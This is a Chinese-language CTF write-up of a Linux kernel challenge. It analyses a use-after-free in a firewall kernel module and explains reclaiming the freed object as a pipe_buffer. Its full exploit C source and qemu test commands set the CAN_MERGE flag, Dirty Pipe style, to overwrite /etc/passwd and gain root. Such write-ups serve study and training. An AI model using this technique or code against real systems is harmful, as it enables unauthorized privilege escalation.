throughthewall
我们先解压initramfs.cpio.gz看题
if insmod /home/ctf/firewall.ko; then
echo "[+] Module loaded successfully"
chmod 666 /dev/firewall
这里将firewall.ko模块加载到内核之中
这里我们要想办法提权
我们直接看firewall.ko
我们可以看到一共有四个功能
| 功能 | 指令号 |
|---|---|
| add | 0x41004601 |
| delete | 0x40044602 |
| edit | 0x44184603 |
| show | 0x84184604 |
add的功能就是向rule数组里添加一条规则,并返回数组索引,这个规则存在kmalloc出来的object,然后把这个object的地址存在rule[idx]里
从edit函数我们可以看出我们传入的结构体的结构应该是
struct fw_req {
uint32_t idx;
uint32_t padding;
uint64_t offset;
uint64_t len;
unsigned char data[0x400];
};
利用edit我们能把fw_req里的data内容写入rule[idx]存的object里
void __fastcall firewall_ioctl_cold()
{
__int64 v0; // rbx
printk(&unk_640);
kfree(rules[v0]);
printk(&unk_660);
printk(&unk_74B);
JUMPOUT(0x429);
}
这里delete没有清空指针,有UAF,也就是我们delete后,依旧能用edit编辑那个已经kfree的rule[idx]
内核态 (SLUB)里的堆跟用户区不太一样,它不按需切割,而是预先准备好了一堆固定大小的Cache:
例如 kmalloc-32和 kmalloc-1024 ,如果我们申请 13 字节,内核会直接给一个 32 字节的object。
这题我们最终的方法是修改/etc/passwd文件进行提权,常规的/etc/passwd文件我们只能读,这里我们用UAF漏洞实现修改这个文件。
当我们执行 pipe(p) 时,内核(具体是 alloc_pipe_info() 函数)会在堆上申请两个重要的结构。
- 第一次分配:
struct pipe_inode_info
这存储了管道的状态、读写索引等元数据。
- 大小:在现代内核中,这个结构体的大小约为 192 字节 或 256 字节(取决于内核版本和编译选项)。
- 所在 Cache:通常会落在
kmalloc-192或kmalloc-256。
- 第二次分配:
pipe_buffer环形缓冲区数组
这是管道用来存放数据的。内核并不是直接申请一大块内存存数据,而是申请一个结构体数组,每个成员叫 struct pipe_buffer。
-
默认配置:Linux 默认会为管道分配 16 个 缓冲区槽位。
-
每个
struct pipe_buffer在 64 位系统下的大小是 40 字节。16 \times 40 = 640 \text{ 字节} -
所在 Cache:按照 SLUB 分配器的规则,640 字节会被分配到
kmalloc-1024这个 Cache 中(有些内核版本有kmalloc-768,但绝大多数 CTF 题目环境都会让它落在 1024)。
那我们先 add_rule 一个规则(内核在 kmalloc-1024 申请了一个 Object A)。
再 delete 掉这个规则(Object A 被放回 kmalloc-1024 的 Freelist)。
我们再调用 pipe(p)。
内核去 kmalloc-1024 找空间放管道缓冲区,Object A 就会被分配给管道作为缓冲区数组,我们就能用edit来修改这个管道缓冲区了
struct pipe_buffer 结构大概如下:
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
...
};
然后我们利用
int password_fd = open("/etc/passwd", O_RDONLY);
loff_t offset = 4;
splice(password_fd, &offset, p[1], NULL, 1, 0);
在 Linux 内核中,为了提高性能,splice 采用的是 Page Sharing(页共享)机制,当我们对一个文件执行 splice 到管道时,内核并不会申请一块新内存来存这 1 字节。它会:去 /etc/passwd 的 Page Cache(页缓存) 里找到包含该偏移量的那个物理页(struct page),在管道的 pipe_inode_info 环形队列中,找一个空闲的 pipe_buffer 槽位,直接把这个槽位的指针指向那个文件的物理页(也就是struct page *page;指向那个物理页了)
执行完 splice 后,管道里的那个 pipe_buffer 结构体会被填入以下信息:
page: 指向/etc/passwd在内核内存中的真实物理页地址。offset:4(即从该页的第 5 个字节开始)。len:1(只引用 1 个字节)。ops: 指向generic_pipe_buf_ops。这个操作表告诉内核:“这块内存是只读的页缓存,不能直接改”。flags: 0
这里也可以通过题目带的show函数看
这里重点的是flags,flags是用来描述这个 buffer 的行为特性。
0x01、0x02、0x04、0x08、0x20、0x40都有不同的含义,我们这里注意讲这题用到的0x10
0x10 PIPE_BUF_FLAG_CAN_MERGE:
表示后续写入可以和当前 buffer 合并。
在 pipe_write 里,内核会检查:
- 当前 buffer 有这个 flag
- 并且 offset + chars <= PAGE_SIZE
如果满足,就直接把新数据追加到 同一个 pipe_buffer 指向的 page 里,而不是新开一个 buffer。
这就是 Dirty Pipe 风格利用的核心。
那这题我们用上面提到的edit(edit函数有偏移的输入,我们直接输入偏移24就能精准写入flags了,偏移24能根据pipe_bufer结构体看出来)和UAF把pipe_buffer.flags改成0x10,我们再向p[1]写入,就是向/etc/passwd文件写入了
题目里 /etc/passwd 一开始基本是:
root:x: 0:0:root:/root:/bin/sh
ctf:x:1000:1000::/home/ctf:/bin/sh
这里x位置代表密码经过哈希处理后存放在 /etc/shadow 文件里
这里我们的payload是:
static const char payload[] =
":0:0:root:/root:/bin/sh\n"
"ctf:x:1000:1000::/home/ctf:/bin/sh\n";
我们前面splice用的是偏移4,也就是跳过前面的root,然后长度写的是1,对应的就是:,我们后面写入会接在root:
我们利用漏洞修改了/etc/passwd后就会变成:
root::0:0:root:/root:/bin/sh,表示密码为空
后面写第二行是为了保证我们ctf权限时能正常su root
我们把密码改成空只会直接su root就能获得root权限了
(write(p[1], payload, sizeof(payload) - 1),这里-1是为了不把字符串结尾的\0写入)
这题我本地测试用的方法是先gcc编译我们写好的exp.c,然后把exp放入前面initramfs.cpio.gz解压出来的文件(rootfs)里的/home/ctf下建一个exploit文件夹,然后把exp放这个文件里,然后
find . | cpio -o -H newc -R 0:0 | gzip -9 > ../local_test_initramfs.cpio.gz
把rootfs重新压缩成我们测试用的gz,然后qemu启动时就用这个gz
qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel ./bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-smp 2 \
-initrd ./local_test_initramfs.cpio.gz \
-monitor /dev/null
(在rootfs里面的init文件里的cd /home/ctf前一行可以加一句
/home/ctf/exploit/exp || true
这样每次就能自动执行我们的exp,方便一点)
EXP:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define ADD 0x41004601UL
#define DEL 0x40044602UL
#define EDIT 0x44184603UL
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
struct fw_req
{
uint32_t idx;
uint32_t padding;
uint64_t offset;
uint64_t len;
unsigned char data[0x400];
};
static void delete(int fw, uint32_t idx)
{
ioctl(fw, DEL, idx);
}
static void edit(int fw, uint32_t idx, uint64_t offset, const void *buf, uint64_t len)
{
struct fw_req req;
memset(&req, 0, sizeof(req));
req.idx = idx;
req.offset = offset;
req.len = len;
memcpy(req.data, buf, len);
ioctl(fw, EDIT, &req);
}
static const char payload[] =
":0:0:root:/root:/bin/sh\n"
"ctf:x:1000:1000::/home/ctf:/bin/sh\n";
int main(void)
{
int fw = open("/dev/firewall", O_RDWR);
char rule[] = "1.1.1.1 2.2.2.2 80 0 uaf";
uint32_t idx = ioctl(fw, ADD, rule);
delete(fw, idx);
puts("successfully deleted");
int p[2] = {0};
pipe(p);
int password_fd = open("/etc/passwd", O_RDONLY);
loff_t offset = 4;
splice(password_fd, &offset, p[1], NULL, 1, 0);
uint32_t flags = PIPE_BUF_FLAG_CAN_MERGE;
edit(fw, idx, 24, &flags, sizeof(flags));
puts("successfully edit flags");
write(p[1], payload, sizeof(payload) - 1);
puts("successfully edit /etc/passwd");
execl("/bin/su", "su", "root", (char *)NULL);
return 0;
}
题目链接:待更新